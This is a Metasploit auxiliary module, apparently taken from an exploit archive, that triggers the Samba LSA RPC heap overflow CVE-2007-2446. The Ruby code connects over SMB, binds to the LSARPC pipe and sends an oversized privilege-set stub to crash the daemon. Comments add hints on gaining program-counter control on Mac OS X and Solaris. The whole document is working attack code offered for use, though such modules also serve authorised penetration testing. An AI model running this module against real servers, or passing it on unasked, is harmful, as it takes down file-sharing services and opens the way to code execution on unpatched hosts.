Samba lsa_io_privilege_set Heap Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Samba lsa_io_privilege_set Heap Overflow',  
'Description' => %q{  
This module triggers a heap overflow in the LSA RPC service  
of the Samba daemon.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2007-2446'],  
['OSVDB', '34699'],  
]  
))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),  
])  
  
end  
  
def run  
  
pipe = datastore['SMBPIPE'].downcase  
  
print_status("Connecting to the SMB service...")  
connect()  
smb_login()  
  
datastore['DCERPC::fake_bind_multi'] = false  
  
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
# Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)  
# Mac OS X: PC control via memcpy to stack ptr  
# Solaris: PC control via memcpy to stack ptr  
  
stub = lsa_open_policy(dcerpc)  
stub << NDR.long(1)  
stub << NDR.long(0xffffffff)  
stub << NDR.long(0x100)  
stub << "X" * 0x100  
  
print_status("Calling the vulnerable function...")  
  
begin  
# LsarAddPrivilegesToAccount  
dcerpc.call(0x13, stub)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
print_good('Server did not respond, this is expected')  
rescue => e  
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/  
print_good('Server disconnected, this is expected')  
else  
raise e  
end  
end  
  
disconnect  
end  
end  
`